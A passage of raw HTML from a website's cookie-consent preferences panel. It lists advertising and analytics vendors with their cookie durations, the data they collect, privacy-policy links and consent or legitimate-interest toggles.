class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Hearts and Science München GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="787"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Amazon Advertising</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="793" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Amazon Advertising, View details" tabindex="0" data-vendor-id="793" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="793" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Amazon Advertising, Privacy policy" tabindex="0" data-policy-link="https://www.amazon.co.uk/gp/help/customer/display.html?nodeId=201909010" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Amazon Advertising" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="793"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Moloco, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="807" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Moloco, Inc., View details" tabindex="0" data-vendor-id="807" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Moloco, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.moloco.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Moloco, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="807"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-807"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Moloco, Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="807" id="fc-preference-slider-gvl-vendor-807" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adtriba GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="827" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Adtriba GmbH, View details" tabindex="0" data-vendor-id="827" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="827" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Adtriba GmbH, Privacy policy" tabindex="0" data-policy-link="https://privacy.adtriba.com/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adtriba GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="827"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Ensighten</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 1825 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="853" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Ensighten, View details" tabindex="0" data-vendor-id="853" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="853" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Ensighten, Privacy policy" tabindex="0" data-policy-link="https://cheq.ai/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-853"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Ensighten" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="853" id="fc-preference-slider-gvl-vendor-853" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>eBay Inc</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="929" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="eBay Inc, View details" tabindex="0" data-vendor-id="929" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="929" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="eBay Inc, Privacy policy" tabindex="0" data-policy-link="https://www.ebayinc.com/company/privacy-center/gdpr/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, eBay Inc" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="929"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>MetrixLab Nederland B.V.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, User-provided data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="939" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="MetrixLab Nederland B.V., View details" tabindex="0" data-vendor-id="939" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="MetrixLab Nederland B.V., Privacy policy" tabindex="0" data-policy-link="https://www.metrixlab.com/privacy-notice/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, MetrixLab Nederland B.V." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="939"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Hurra Communications GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="1050" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Hurra Communications GmbH, View details" tabindex="0" data-vendor-id="1050" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="1050" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Hurra Communications GmbH, Privacy policy" tabindex="0" data-policy-link="https://privacy.hurra.com/tcf/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Hurra Communications GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="1050"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-divider fc-lower-preference-divider"><p>Ad partners</p><button class="fc-help-tip" data-title="What does 'Ad partner' mean?" data-full-info="Google and other ad networks and ad partners use data about your users to, for example, show them personalized ads or to report on conversions. If you decline consent, some vendors may still do some limited processing of your personal data based on legitimate interest, and you may still see ads based on that data. You can find the privacy policy of each vendor linked below." role="tooltip" aria-label="Google and other ad networks and ad partners use data about your users to, for example, show them personalized ads or to report on conversions. If you decline consent, some vendors may still do some limited processing of your personal data based on legitimate interest, and you may still see ads based on that data. You can find the privacy policy of each vendor linked below." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Akamai</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Akamai, Privacy policy" tabindex="0" data-policy-link="http://www.akamai.com/compliance/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Akamai" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="70"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Meta</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Meta, Privacy policy" tabindex="0" data-policy-link="https://www.facebook.com/about/privacy/update" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Meta" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="89"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Aunica</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Aunica, Privacy policy" tabindex="0" data-policy-link="https://aunica.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Aunica" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="93"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Booking.com</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Booking.com, Privacy policy" tabindex="0" data-policy-link="https://www.booking.com/content/privacy.en-gb.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Booking.com" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="108"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>C3 Metrics</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="C3 Metrics, Privacy policy" tabindex="0" data-policy-link="https://www.c3metrics.com/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, C3 Metrics" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="122"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>IBM</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="IBM, Privacy policy" tabindex="0" data-policy-link="https://www.ibm.com/customer-engagement/digital-marketing/gdpr" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, IBM" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="149"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Evidon</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Evidon, Privacy policy" tabindex="0" data-policy-link="https://www.crownpeak.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Evidon" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="196"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adacado</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Adacado, Privacy policy" tabindex="0" data-policy-link="https://www.adacado.com/privacy-policy-april-25-2018/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adacado" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="236"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>intelliAd</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="intelliAd, Privacy policy" tabindex="0" data-policy-link="https://www.intelliad.de/datenschutz" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, intelliAd" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="259"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Dstillery</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Dstillery, Privacy policy" tabindex="0" data-policy-link="https://dstillery.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Dstillery" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="311"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>MediaMath</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="MediaMath, Privacy policy" tabindex="0" data-policy-link="http://www.mediamath.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, MediaMath" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="313"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>ZMS</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="ZMS, Privacy policy" tabindex="0" data-policy-link="https://zms.zalando.com/#" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, ZMS" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="323"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Omnicom Media Group</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Omnicom Media Group, Privacy policy" tabindex="0" data-policy-link="https://omnicommediagroup.com/privacy-notice/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Omnicom Media Group" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="358"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Resonate</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Resonate, Privacy policy" tabindex="0" data-policy-link="https://www.resonate.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Resonate" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="415"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Sojern</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Sojern, Privacy policy" tabindex="0" data-policy-link="https://www.sojern.com/privacy/product-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Sojern" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="449"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Tradedoubler AB</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Tradedoubler AB, Privacy policy" tabindex="0" data-policy-link="http://www.tradedoubler.com/en/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 